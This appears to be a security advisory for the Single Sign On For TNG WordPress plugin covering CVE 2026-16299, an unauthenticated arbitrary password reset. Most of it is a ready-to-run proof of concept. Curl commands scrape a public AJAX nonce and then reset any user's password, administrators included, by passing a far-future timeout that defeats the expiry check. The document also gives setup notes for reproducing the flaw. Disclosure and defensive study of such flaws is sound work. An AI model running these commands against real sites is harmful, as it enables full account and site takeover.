Single Sign On For TNG < 2.2.0 – Unauthenticated Arbitrary Password Reset | CVE 2026-16299

Description

The plugin does not properly validate a password reset request, allowing unauthenticated attackers to reset the password of arbitrary users, including administrators, which could lead to a full site takeover.

Proof of Concept

Prerequisites: Single Sign On For TNG <= 2.1.0 active AND configured with TNG database access (its normal operating state, set via the plugin's settings page). Without this the request fatals in the password_reset hook before the password is changed. Leave the link method unset when reproducing: selecting "DB Access" fatals every request on 2.0.0, 2.1.0 and 2.2.0 alike, because the htaccess writer runs before the filesystem is initialised.

Unauthenticated password reset of a known user (no recovery token). Replace the host and target email:

  # 1) Scrape the public AJAX nonce from any frontend page (fully unauthenticated):
  NONCE=$(curl -s "https://victim.example/" | grep -o '"nonce":"[a-f0-9]*"' | head -1 | sed 's/.*:"//;s/"//')

  # 2) Reset a known user's WordPress password to an attacker-chosen value.
  #    The only gate added in 2.1.0 is an expiry compared against a value the
  #    attacker supplies in this same request, so any far-future timestamp passes:
  curl -s "https://victim.example/wp-admin/admin-ajax.php" \
    --data-urlencode 'action=ssoprocess_ajax' \
    --data-urlencode 'operation=setnewpassword' \
    --data-urlencode 'email=admin@victim.example' \
    --data-urlencode 'password=NewPassw0rd!2026' \
    --data-urlencode 'timeout=9999999999' \
    --data-urlencode "nonce=$NONCE"

  # 3) Log in at https://victim.example/wp-login.php as that user with NewPassw0rd!2026 -> full account takeover.

Expected result: the AJAX call returns {"success":true,"data":{"success":true}} and the target user's password is now the attacker-chosen value. On versions up to 2.0.0 the timeout parameter is not needed; omit it.

Any user can be targeted by email, including a network Super Admin, and no recovery flow needs to have been started. The linked TNG account password is reset too, via the password_reset hook.